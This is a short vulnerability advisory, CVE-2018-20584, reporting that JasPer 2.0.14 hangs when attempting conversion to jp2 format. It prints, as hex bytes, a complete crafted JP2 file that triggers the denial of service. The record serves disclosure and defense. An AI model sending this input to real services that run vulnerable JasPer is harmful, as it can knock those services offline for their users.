CVE-2018-20584

JasPer 2.0.14 allows remote attackers to cause a denial of service (application hang) via an attempted conversion to the jp2 format, as demonstrated by 00 00 00 0c 6a 50 20 20 0d 0a 87 0a 00 00 00 14 66 74 79 70 6a 70 32 20 00 00 00 00 6a 70 32 20 00 00 00 2d 6a 70 32 68 00 00 00 16 69 68 64 72 00 00 00 20 00 00 00 20 00 03 07 07 00 00 00 00 00 0f 63 6f 6c 72 01 00 00 00 00 00 10 00 00 00 d8 6a 70 32 63 ff 4f ff 51 00 2f 00 00 00 08 00 20 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 20 00 00 00 00 00 00 00 00 00 03 07 01 01 07 01 01 07 01 01 ff 52 00 0c 00 00 00 01 01 00 04 04 00 01 ff 5c 00 04 40 40 ff 64 00 25 00 01 43 72 65 61 74 65 64 20 62 79 20 4f 70 65 6e 4a 50 45 47 20 76 65 72 73 69 6f 6e 20 32 2e 31 2e 30 ff 90 00 0a 00 00 00 00 00 60 00 01 ff 93 dc d7 00 18 80 0e 21 bf fc 2e ea b2 37 ce db f3 05 52 3f 43 2d 2b dd d7 64 c4 3d 67 ff 72 ab 35 2b f8 43 ca b3 5f ca d9 24 85 b4 59 5c 8d 25 fd 77 80 cb 78 1d 87 60 d6 f8 28 6e 8f 65 45 25 ea ff 5d bf 1a 71 13 10 a9 de e4 dd 6b 41 f7 38 dc 66 4f ff d9.

Source: CVE-2018-20584